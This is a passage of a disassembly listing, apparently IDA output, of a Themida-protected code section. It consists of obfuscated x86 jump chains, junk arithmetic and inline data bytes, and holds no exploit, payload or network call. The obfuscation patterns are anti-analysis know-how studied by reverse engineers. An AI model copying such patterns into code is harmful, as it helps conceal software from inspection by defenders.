		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585C6:				; CODE XREF: Themida_:0055EEA9j
		xor	ebp, 3340BCAAh
		sub	ebx, ebp
		pop	ebp
		dec	ebx
		jmp	loc_55ED51
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 4870000h, 0F7C7E924h, 0C89FFFFh, 40B4B924h, 0E0E94327h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5585EF:				; CODE XREF: Themida_:0055EE78j
		push	eax
		jmp	loc_558774
; ---------------------------------------------------------------------------
		db 45h,	0C1h, 0E5h
		dd 0E8F58105h, 0E97F460Eh, 14CFh, 0D9C5E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55860A:				; CODE XREF: Themida_:0055C2D7j
		pop	edx
		add	bl, 6Ah
		jmp	loc_554A40
; ---------------------------------------------------------------------------


loc_558613:				; CODE XREF: Themida_:0055AEF3j
		mov	edx, 0
		add	edx, 69386338h
		jmp	loc_55B64A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 148BD601h, 7879E924h, 835E0000h, 0EE8104C4h,	1, 60BBEE81h
		dd 0E957C27Dh, 0FFFFCCC1h, 5BF968h, 24348900h, 667756BEh
		dd 0E9DEF753h, 18F3h, 0FFB588E9h, 0C8B66FFh, 0E3895324h
		dd 4EC81h, 2C890000h, 3447E924h, 0C7830000h, 0C056E902h
		dd 48BFFFFh, 0E9545224h, 68EFh,	8124048Bh, 4C4h, 243C8B00h
		dd 0E904C483h, 1D28h
; ---------------------------------------------------------------------------


loc_558698:				; CODE XREF: Themida_:0055E5CDj
		pop	ecx
		push	4182h
		mov	[esp], ecx
		sub	dword ptr [esp], 15BD47CFh
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 15BD47CFh
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		push	ebx
		jmp	loc_55B7F6
; ---------------------------------------------------------------------------
		db 35h
		dd 0FE92CA49h, 0E958C129h, 0FFFFB6D1h
; ---------------------------------------------------------------------------


loc_5586D8:				; CODE XREF: Themida_:0055F8E7j
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_55B1FD
; ---------------------------------------------------------------------------
		dw 0FA29h
		dd 109C281h, 15E918AFh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5586EF:				; CODE XREF: Themida_:0055A005j
		mov	eax, 3D11707Fh
		or	eax, 20293F87h
		shl	eax, 3
		not	eax
		jmp	loc_5571E3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 7454E900h, 52AC0000h, 9F2C4EB6h, 40E9F028h, 0F7FFFFC3h
		dd 5E0C1D8h, 0E902E8C1h, 0FFFFFFA3h, 8704C183h,	505C240Ch
		dd 78CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_558735:				; CODE XREF: Themida_:0055D928j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559B21
; ---------------------------------------------------------------------------
		dw 0F300h
		dd 24148B66h, 5002C483h, 530C85B0h, 0C3284604h,	0F65E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55875E:				; CODE XREF: Themida_:0055DE21j
		push	3AD8h
		jmp	loc_5597D3
; ---------------------------------------------------------------------------
		dd 0BF3AF581h, 0E95201DFh, 0FFFFC766h
; ---------------------------------------------------------------------------


loc_558774:				; CODE XREF: Themida_:005585F0j
		mov	eax, 252A71C3h
		mov	esi, eax
		jmp	loc_55D011
; ---------------------------------------------------------------------------
		dd 0F6BDB050h, 7E8C0D8h, 0FFF689E9h, 75CCBDFFh,	33E90BBCh
		dd 5400003Eh, 4C18159h,	81000000h, 4C1h, 74FF5100h, 8F590424h
		dd 23E92404h, 5BFFFFCBh, 0E5E95153h, 8B000075h,	8E92434h
		dd 57FFFFBBh, 3940BA52h, 9ABF3843h, 3118C144h, 24148BD7h
		dd 0E904C483h, 0FFFFD2BCh, 0BA525854h, 212627DFh, 0E902EAC1h
		dd 171h, 2434FF54h, 0FFBCA6E9h,	240C89FFh, 4EC81h, 8F540000h
		dd 4812404h, 424h, 0C1815900h, 4, 59FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_558815:				; CODE XREF: Themida_:0055B7EAj
		mov	ecx, esp
		jmp	loc_556CB8
; ---------------------------------------------------------------------------
		dd 0EC0B0ABBh, 9EB815Bh, 817F0263h, 225251EBh, 5BDE29DDh
		dd 4931C181h, 0C1816D19h, 42C077FEh, 0C8E9F129h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558843:				; CODE XREF: Themida_:0055408Fj
		push	ebp
		mov	ebp, esp
		jmp	loc_55ABFC
; ---------------------------------------------------------------------------
		db 0B3h
		dd 6E3C02Ch, 0DEF6F386h, 6DE9F386h, 0FF000072h,	52582434h
		dd 9DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_558865:				; CODE XREF: Themida_:005548EBj
		neg	ebp
		xor	ebp, 0A593B43Ch
		mov	edi, ebp
		pop	ebp
		xor	edi, 337E2C20h
		sub	ebx, 2FBD2739h
		jmp	loc_55EF1E
; ---------------------------------------------------------------------------


loc_558881:				; CODE XREF: Themida_:0055C92Dj
		neg	ecx
		push	ecx
		inc	dword ptr [esp]
		jmp	loc_555E5C
; ---------------------------------------------------------------------------


loc_55888C:				; CODE XREF: Themida_:00553E26j
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, 617F374Bh
		shl	edx, 5
		push	0
		sub	[esp], edx
		jmp	loc_55DD3A
; ---------------------------------------------------------------------------
		dd 8EE94B5Bh, 0FFFFFFF0h, 669D1C77h, 4116658h, 5BE99C24h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5588BF:				; CODE XREF: Themida_:00558BA8j
		mov	edx, 3FDB6A1Bh
		add	eax, 984764Dh
		add	eax, edx
		sub	eax, 984764Dh
		mov	edx, [esp]
		push	2EC6h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	ecx, eax
		jmp	loc_556DCB
; ---------------------------------------------------------------------------
aQssi		db 'QSé‰<',0
		align 4
		dd 9EF18141h, 8159162Eh, 400B4AF1h, 0D3ED8141h,	0E9580635h
		dd 0FFFFD783h, 0ED68C688h, 8900004Ch, 0F588240Ch, 0C8BEF88h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	edx
		mov	dh, bh
		jmp	loc_554627
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 48F5C24h, 24248B24h,	6F87E9h, 5BE9AC00h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558953:				; CODE XREF: Themida_:0055E469j
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_55E765
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0F3h
		dd 5084989h, 52E46C36h,	362DD001h, 5A52E46Ch, 4EC81h, 34890000h
		dd 4BE24h, 0BA520000h, 49382985h, 0DCEA81h, 0C2814FE2h
		dd 44035018h, 0E281EAD1h, 223B30D4h, 6135E9h, 0BFB55100h
		dd 8FFC580h, 0EB8059EBh, 5AF33048h, 371E9h, 24048700h
		dd 64F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5589B9:				; CODE XREF: Themida_:0055AC05j
		push	eax
		jmp	loc_55A00A
; ---------------------------------------------------------------------------
		db 58h
		dd 6E3BF781h, 0FE010181h, 4C6815Fh, 87000000h, 815C2434h
		dd 8F5359C7h, 0C7EF8124h, 290A7E40h, 0C18FE9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5589E6:				; CODE XREF: Themida_:00554A4Aj
		add	ebp, 4
		jmp	loc_55D2AB
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D3h
		dd 59580635h, 31E9EA01h, 53FFFFF2h, 7755EEBBh, 3E3C17Ah
		dd 3A8AE9h
		db 0
; ---------------------------------------------------------------------------


loc_558A0D:				; CODE XREF: Themida_:0055934Ej
		pop	edi
		jmp	loc_558383
; ---------------------------------------------------------------------------
		db 68h
		dd 17681DA6h, 3F18159h,	910AAB73h, 3353E9h, 18ED8100h
		dd 112735Ch, 18C581DDh,	8B12735Ch, 8951241Ch, 4C181E1h
		dd 83000000h, 0D3E904C1h, 81000018h, 0D9C1B1C7h, 0E9F889B7h
		dd 0FFFFD21Fh
; ---------------------------------------------------------------------------


loc_558A54:				; CODE XREF: Themida_:00555382j
		pop	edi
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 22070407h
		push	edx
		mov	edx, 1
		jmp	loc_559643
; ---------------------------------------------------------------------------
		db 66h
		dd 8166C329h, 664C99C3h, 137FEB81h, 76A9E9h, 4C48300h
		dd 96B05066h, 28E1C380h, 0E1EB80C3h, 0FFF841E9h, 81DEF7FFh
		dd 0D981D3EEh, 8BF52993h, 0C4812434h, 4, 0BF57D501h, 30BF2FD9h
		dd 0FFC0F2E9h, 5877B9FFh, 0F7414651h, 81E1D1D1h, 0B0279FE9h
		dd 59C82962h, 88E9D801h, 54FFFFC5h, 4C3815Bh, 0E9000000h
		dd 5FC3h, 12454F6h, 2434305Ah, 30243432h, 82E92434h, 81FFFFF0h
		dd 3AD135EEh, 5EF231A1h, 5621ED2Dh, 0E9D02902h,	3C86h
		dd 0C581E589h, 4, 0F001E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B12:				; CODE XREF: Themida_:0055405Dj
		xchg	edx, [esp]
		jmp	loc_55CC96
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6855240Ch, 39C0h, 81242489h,	42404h,	575D0000h, 0D501E2BFh
		dd 81D7F76Dh, 683DBBCFh, 82EF817Bh, 812FB466h, 4966C7C7h
		dd 8FED8134h, 810DC95Eh, 7D18B7C5h, 4A5CE95Eh, 248B0000h
		dd 0B30F6624h, 0E99C2404h, 0FFFFB07Dh, 0C2B9E959h, 0BF57FFFFh
		dd 4, 3C8BFB01h, 4C48124h, 87000000h, 575C241Ch, 0C781E789h
		dd 4, 265AE951h, 0F7530000h, 58E92414h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558B9B:				; CODE XREF: Themida_:0055B289j
		xor	ebx, 3DA1D76Fh
		sub	esi, ebx
		pop	ebx
		xor	eax, esi
		pop	esi
		push	edx
		jmp	loc_5588BF
; ---------------------------------------------------------------------------


loc_558BAD:				; CODE XREF: Themida_:0056018Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_555E84
; ---------------------------------------------------------------------------


loc_558BC1:				; CODE XREF: Themida_:0055B9D8j
		mov	bl, al
		pop	eax
		sub	bl, 0A6h
		xor	dh, bl
		pop	ebx
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 64h
		xor	dh, bh
		jmp	loc_55D924
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0B3DCE924h, 0C483FFFFh, 6C7F6804h, 14890000h, 4756BA24h
		dd 0EA817FB8h, 7BCE1940h, 0E95AD501h, 3793h, 0F8B652ACh
		dd 0CE80D6F6h, 42CE803Dh, 2820F680h, 0EB5CE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C16:				; CODE XREF: Themida_:0055BEF7j
		mov	[esp], ecx
		push	5A58h
		mov	[esp], ebx
		push	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	ecx, ebx
		pop	ebx
		jmp	loc_55E450
; ---------------------------------------------------------------------------
aIZseq		db 'ˆÕZé…Q',0
		align 4


loc_558C3C:				; CODE XREF: Themida_:005558E8j
		pop	esi
		shl	esi, 2
		inc	esi
		push	edx
		mov	edx, 277323EEh
		shl	edx, 6
		jmp	loc_555A1C
; ---------------------------------------------------------------------------
		db 5
		dd 134E3F35h, 0E952D829h, 71DCh, 3268h,	243C8900h, 0FFD5B1E9h
		dd 240483FFh, 4D2FE904h, 0C2810000h, 4,	5C241487h, 0B00E9C1h
		dd 24840FC0h, 83000004h, 348904ECh, 0E9555324h,	2912h
		dd 62E9C828h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C9B:				; CODE XREF: Themida_:0055C439j
		pop	ebx
		add	ecx, 6FA23A96h
		sub	ebp, ecx
		pop	ecx
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	ecx, 0Ah
		push	62C0h
		mov	[esp], ebx
		add	dword ptr [esp], 45CC58F7h
		jmp	loc_554AED
; ---------------------------------------------------------------------------


loc_558CC8:				; CODE XREF: Themida_:0055DCA5j
		add	bl, al
		sub	bl, 0E5h
		push	small 0BC4h
		mov	[esp], cx
		push	eax
		mov	ah, 19h
		sub	ah, 6
		sub	ah, 0B5h
		jmp	loc_55C1B4
; ---------------------------------------------------------------------------


loc_558CE3:				; CODE XREF: Themida_:0055FDC4j
		not	ch
		jmp	loc_55C170
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 3AE95453h, 0BF000058h, 50B23790h,	0E95FF829h
		dd 1CFFh, 0C0E95954h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558D0B:				; CODE XREF: Themida_:00556629j
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55655B
; ---------------------------------------------------------------------------
		dw 0CB04h
		dd 0D828BB2Ch, 9E9BB04h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558D2F:				; CODE XREF: Themida_:0055A025j
		add	ebp, eax
		add	ebp, 13735ED0h
		pop	eax
		push	5294h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55AE9E
; ---------------------------------------------------------------------------
		align 2
		dw 2CD8h
		dd 1A1DE983h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558D52:				; CODE XREF: Themida_:0055759Bj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4F85756Bh
		push	edx
		mov	edx, 33142E60h
		sub	ebx, edx
		pop	edx
		jmp	loc_559AF1
; ---------------------------------------------------------------------------


loc_558D6B:				; CODE XREF: Themida_:00554735j
		movzx	eax, al
		jmp	loc_55AB17
; ---------------------------------------------------------------------------


loc_558D73:				; CODE XREF: Themida_:0055C609j
		or	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_55B937
; ---------------------------------------------------------------------------


loc_558D7D:				; CODE XREF: Themida_:0055941Aj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55F2AB
; ---------------------------------------------------------------------------


loc_558D8B:				; CODE XREF: Themida_:0055DCE3j
		or	edx, 50D162A1h
		sub	edx, 998C950Eh
		jmp	loc_554682
; ---------------------------------------------------------------------------


loc_558D9C:				; CODE XREF: Themida_:0055F749j
		add	esi, ebp
		jmp	loc_55DEAE
; ---------------------------------------------------------------------------
aNs_1		db '­é<[',0
		dd 5FF93100h, 34FFC831h, 89535924h, 0BC0CE9E3h,	34FFFFFFh
		dd 2434FF24h, 0E0895058h, 405h,	3EDA6800h, 2C890000h, 0F357E924h
		dd 1C8BFFFFh, 4C48124h,	66000000h, 0E9240905h, 0FFFFE3E1h
		dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFADEDh
; ---------------------------------------------------------------------------


loc_558DF8:				; CODE XREF: Themida_:0055E300j
		pop	eax
		jmp	loc_5545C8
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 0EC835F54h, 24348904h, 8568D7BEh,	63EE812Ch
		dd 0E91D4177h, 591Ah, 0C0C7582Dh, 58C201EAh, 3BBD5557h
		dd 55210767h, 66243481h, 0E918D65Ch, 0D8Ah, 33F7F681h
		dd 0EE8125B8h, 69B8F7F3h, 5EE9F101h, 68000057h,	6229h
		dd 0FFE7F7E9h, 5BE95FFFh, 4AFFFFCEh, 1BE56h, 0B6E90000h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558E67:				; CODE XREF: Themida_:0055944Fj
		mov	bh, 36h
		sub	al, 0F0h
		add	al, bh
		jmp	loc_55CEB1
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5F0424h, 248B2404h, 4B036824h, 14890000h, 0C25FBA24h
		dd 3E97608h, 89FFFFD6h,	57BA2414h, 0C13BE67Ah, 0E8E904E2h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558E9F:				; CODE XREF: Themida_:00555B13j
		mov	esp, [esp]
		add	esp, 4


loc_558EA8:				; CODE XREF: Themida_:0055AE04j
					; Themida_:0055DE10j
		push	2D02h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55611A
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 24148BD1h, 104C483h,	0C38159CBh, 4, 31241C33h, 1C33241Ch
		dd 24248B24h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55454F
; ---------------------------------------------------------------------------


loc_558EF0:				; CODE XREF: Themida_:00556BC5j
		shr	edx, 2
		add	edx, 5526580Ch
		and	edx, 28C00255h
		jmp	loc_55682E
; ---------------------------------------------------------------------------
		dd 0B4C4ADB8h, 58C331C8h, 152E9h, 24148B00h, 104C483h
		dd 251AE9D7h, 685B0000h, 259Bh,	0FF240489h, 58042474h
		dd 8B24048Fh, 0C892424h, 0ACABE924h, 6851FFFFh,	7E4D61C7h
		dd 4E18159h, 81337455h,	0E5D7A8C1h, 4385E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558F52:				; CODE XREF: Themida_:0055E280j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	745Eh
		jmp	loc_556903
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 5F545724h, 0FFE7ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558F6D:				; CODE XREF: Themida_:00557615j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 65C5FEFh
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		add	ebx, 65C5FEFh
		push	ebp
		mov	ebp, 693F1543h
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8150240Ch, 4ECh, 24248900h, 0FFF5A8E9h, 0E9E689FFh
		dd 12DFh, 0E1BD55ADh, 17C3B57h,	50515DE8h, 165EF2B8h, 58C1897Fh
		dd 0C105E9C1h, 0FEE902E9h, 1FFFFE0h, 0B9515FFBh, 2, 0E959CB01h
		dd 0FFFFBDF0h, 24092D66h, 4EC81h, 2C890000h, 3DBD6624h
		dd 425AE975h, 0E6E90000h, 5DFFFFABh, 0FFD987E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559005:				; CODE XREF: Themida_:0055CFEEj
		push	5257h
		mov	[esp], ecx
		jmp	loc_55BF4A
; ---------------------------------------------------------------------------


loc_559012:				; CODE XREF: Themida_:0055F468j
		shl	ecx, 6
		shr	ecx, 8
		push	ebx
		mov	ebx, 5E2108EAh
		sub	ebx, 4E2B482Ah
		xor	ebx, 583A5681h
		xor	ebx, 618053F4h
		sub	ebx, 763A3D3Dh
		add	ebx, 3F565B0Eh
		jmp	loc_55CFB5
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 7Dh
		dd 0E977587Ch, 320h
; ---------------------------------------------------------------------------


loc_55904C:				; CODE XREF: Themida_:0055EC40j
		inc	eax
		xor	eax, 64AD6BCCh
		sub	eax, 484A5970h
		xor	eax, 166C85D8h
		sub	edx, eax
		jmp	loc_55E3DC
; ---------------------------------------------------------------------------
		db 53h
		dd 791733BBh, 0E3C14313h, 0F7CB8708h, 81CB87D1h, 68285FC3h
		dd 7E38163h, 810A0D2Fh,	0AE6732F3h, 18F2E94Fh, 815E0000h
		dd 4C6h, 4C68300h, 5C243487h, 81E68956h, 4C6h, 4C68100h
		dd 87000000h, 685C2434h, 39CEh,	5C4EE9h, 240C3300h, 48B665Ch
		dd 8B545024h, 0C4832404h, 84E95104h, 9FFFFB9h, 0EFC15DEFh
		dd 7D1D6803h, 2C890000h, 3DF5BD24h, 0EF3100B2h,	0FFE991E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5590E5:				; CODE XREF: Themida_:00557B8Fj
		xor	[esp+4], esi
		pop	esi
		jmp	loc_5545A2
; ---------------------------------------------------------------------------


loc_5590EF:				; CODE XREF: Themida_:0055657Dj
		push	edx
		push	eax
		mov	al, ch
		push	ecx
		jmp	loc_559EA1
; ---------------------------------------------------------------------------


loc_5590F9:				; CODE XREF: Themida_:00560138j
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		push	ebp
		mov	ebp, 4670404Ch
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55C872
; ---------------------------------------------------------------------------
		db 66h
		dd 0CEE99C50h, 53FFFFAAh, 0D3F6DEB3h, 0F6C1F380h, 2ACB80DBh
		dd 38F380h, 0D0285BD8h,	3CEC68h, 241C8900h, 0D82812B3h
		dd 377DE95Bh, 0F3880000h, 66D8305Ah, 68241C8Bh,	0BBBh
		dd 89240489h, 3355E9E0h, 0C5810000h, 50131F0Dh,	0C581454Dh
		dd 2BED0A31h, 5FD8C581h, 0E8017A79h, 2DF8015Dh,	7457010Dh
		dd 63B7A2Dh, 69F1E905h,	0C8290000h, 81240C8Bh, 4C4h, 5C80100h
		dd 5D40278Bh, 9C093105h, 6855594Bh, 0A5E3D43h, 0E9E5D15Dh
		dd 0FFFFD9BFh, 8B24048Fh, 91E92424h, 0F7FFFFD1h, 0F68146D6h
		dd 6090535Ch, 6F306C05h, 4E5E908h, 51570000h, 0EA2E16B9h
		dd 244C2903h, 240C8B04h, 8B04C483h, 7E9242Ch, 68FFFFFAh
		dd 40C8h, 2227E9h, 0E9C23100h, 0FFFFC894h, 2216E681h, 0F6814685h
		dd 1F3F3D02h, 835EF189h, 0C981FFE9h, 30E9364Bh,	1758E181h
		dd 0E98176F0h, 18D70A63h, 159CB31h, 0BA525BD9h,	4, 875AD101h
		dd 248B240Ch, 1BF5724h,	14B5412h, 8B04247Ch, 0B7E9243Ch
		dd 57FFFFC5h, 263E87BFh, 0F805E948h, 5A54FFFFh,	4C281h
		dd 0EC830000h, 242C8904h, 6486E9h, 0C3814300h, 9065E61h
		dd 815BDF01h, 23629C7h,	81DFF774h, 6FFEBEEFh, 49C281D0h
		dd 0E961833Eh, 613h, 0FF2434FFh, 48B2434h, 0E515E924h
		dd 0A968FFFFh, 5D4CFA67h, 0E904EDC1h, 49CFh
; ---------------------------------------------------------------------------


loc_559294:				; CODE XREF: Themida_:0055DF2Bj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_5584CB
; ---------------------------------------------------------------------------


loc_5592A6:				; CODE XREF: Themida_:0055B7FDj
		pop	ebx
		add	edx, 37EF0294h
		add	edx, 7E5C9746h
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55A58B
; ---------------------------------------------------------------------------


loc_5592C1:				; CODE XREF: Themida_:0055B82Fj
		add	al, bl
		push	ebx
		mov	bl, 74h
		add	bl, 5Ah
		jmp	loc_557F53
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 6D646FB4h, 0FFB296E9h, 89B252FFh, 0E280D2F6h, 24CA807Bh
		dd 0C0C5EA80h, 0F28007E2h, 5AD028C2h, 0FFE5A3E9h, 48F5DFFh
		dd 2E67E924h, 0C1590000h, 6BE907E8h, 87000062h,	685C2404h
		dd 4E8Ch, 0E9240489h, 380Ah, 240C8B66h,	21D868h, 24348900h
		dd 0FFC4A7E9h, 74FF56FFh, 8F5E0424h, 665C2404h,	52240C89h
		dd 0B68EB551h, 74EE8021h, 533DE9h
		db 0
; ---------------------------------------------------------------------------


loc_559345:				; CODE XREF: Themida_:00555744j
		push	5287h
		mov	[esp], edi
		push	esi
		jmp	loc_558A0D
; ---------------------------------------------------------------------------
		db 89h
		dd 61B9240Ch, 81280137h, 0EF5ECDE1h, 4E1C111h, 0E904E1C1h
		dd 0FFFFD678h, 0F1B850h, 7825149Fh, 57322E7Fh, 2E58B3BFh
		dd 0D6E7E92Bh, 0F9B9FFFFh, 31751E6Fh, 1E25E9CDh, 0ABB90000h
		dd 0F7757360h, 4748E9D1h, 7A2C0000h, 2801B252h,	8B665AD0h
		dd 0C4832414h, 56C38002h, 4268C300h, 89000063h,	89562404h
		dd 63E2E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5593BE:				; CODE XREF: Themida_:00556791j
		or	eax, 3A131E81h
		xor	eax, 0CF36FC87h
		add	ebx, eax
		pop	eax
		sub	eax, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 7E8D4BA4h
		sub	edx, 11C607F6h
		sub	edx, 6CC743AAh
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	esi, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	dword ptr [edx+38h], 9F00A7A7h
		add	[edx+38h], esi
		jmp	loc_558D7D
; ---------------------------------------------------------------------------
		db 56h
		dd 0E950E689h, 190Fh
; ---------------------------------------------------------------------------


loc_559428:				; CODE XREF: Themida_:005595EBj
		push	ecx
		mov	cl, 0B3h
		sub	cl, 8Ch
		sub	dh, cl
		pop	ecx
		add	al, dh
		pop	edx
		mov	bx, [esp]
		push	ebx
		jmp	loc_5559EE
; ---------------------------------------------------------------------------
		dw 1487h
		dd 6F215C24h, 99E95D1Ch
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55944B:				; CODE XREF: Themida_:0055CF31j
		mov	[esp], bx
		jmp	loc_558E67
; ---------------------------------------------------------------------------
		dd 24348B5Eh, 4C481h, 685D0000h, 65BEh,	51243C89h, 6F701DB9h
		dd 8151523Dh, 13132404h, 815A0714h, 141313EAh, 5AD78907h
		dd 592434FFh, 6804C483h, 349Bh,	0E9241489h, 1D89h, 0FFA74CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559499:				; CODE XREF: Themida_:0055569Fj
		mov	[esp], ecx
		mov	ecx, 1
		push	ecx
		xor	dword ptr [esp], 1FFC19E5h
		pop	ebp
		xor	ebp, 1FFC19E5h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_556012
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd offset byte_5808E9
		dd 24048900h, 0FAE95854h, 0B9FFFFABh, 60479265h, 4922E9h
		dd 4C68100h, 81000000h,	4EEh, 3507E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5594E6:				; CODE XREF: Themida_:00559598j
		push	3DF42C18h
		pop	ebp
		shr	ebp, 3
		jmp	loc_55DA7F
; ---------------------------------------------------------------------------
		dd 0C2815A54h, 4, 8704EA83h, 0EEE92414h, 87000038h, 895C2404h
		dd 0E789243Ch, 3A46E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559516:				; CODE XREF: Themida_:0055E777j
		sub	ebx, 1BA5D0h
		add	ecx, ebx
		pop	ebx
		jmp	loc_55F623
; ---------------------------------------------------------------------------
		dd 0E904C483h, 30EBh, 0FFA6B4E9h, 0B7B850FFh, 48390B17h
		dd 496C490Dh, 3EE40D5Dh, 0E9562D51h, 3E5Fh, 24048B66h
		dd 8904EC83h, 0D5E9241Ch, 0BE000040h, 49B18DDh,	0A9E9DEF7h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559563:				; CODE XREF: Themida_:00559E12j
		mov	[esp], edx
		mov	edx, 735F7F98h
		jmp	loc_55C35A
; ---------------------------------------------------------------------------
		dd 335DEE01h, 34312434h, 24343324h, 4A30F5Ch, 5EE99C24h
		dd 1FFFFA6h, 24148BD6h,	0E904C483h, 0FFFFB3EFh
; ---------------------------------------------------------------------------


loc_559594:				; CODE XREF: Themida_:0055F925j
		sub	edx, ebp
		push	ebx
		push	ebp
		jmp	loc_5594E6
; ---------------------------------------------------------------------------


loc_55959D:				; CODE XREF: Themida_:00554D85j
		push	edx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_55FB3F
; ---------------------------------------------------------------------------
		db 68h,	0A4h, 32h
		dd 34890000h, 1CFEBE24h, 0F3015188h, 178DE95Eh,	0EC830000h
		dd 243C8904h, 12DC468h,	0E9565F1Bh, 5E27h
; ---------------------------------------------------------------------------


loc_5595DC:				; CODE XREF: Themida_:0055A5AEj
		push	esp
		mov	esi, [esp]
		jmp	loc_557295
; ---------------------------------------------------------------------------


loc_5595E5:				; CODE XREF: Themida_:0055CE9Cj
		sub	ah, dh
		pop	edx
		add	dh, ah
		pop	eax
		jmp	loc_559428
; ---------------------------------------------------------------------------
		dd 52241C89h, 0FFFEFBE9h, 35C380FFh, 34FFD830h,	0C4815B24h
		dd 4, 304EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55960D:				; CODE XREF: Themida_:0055D8A4j
		add	edi, esi
		sub	edi, 73540784h
		jmp	loc_55F30D
; ---------------------------------------------------------------------------
		dw 4C68h
		dd 89000023h, 0FE882414h, 88F78853h, 0CCE95BF8h, 5F000038h
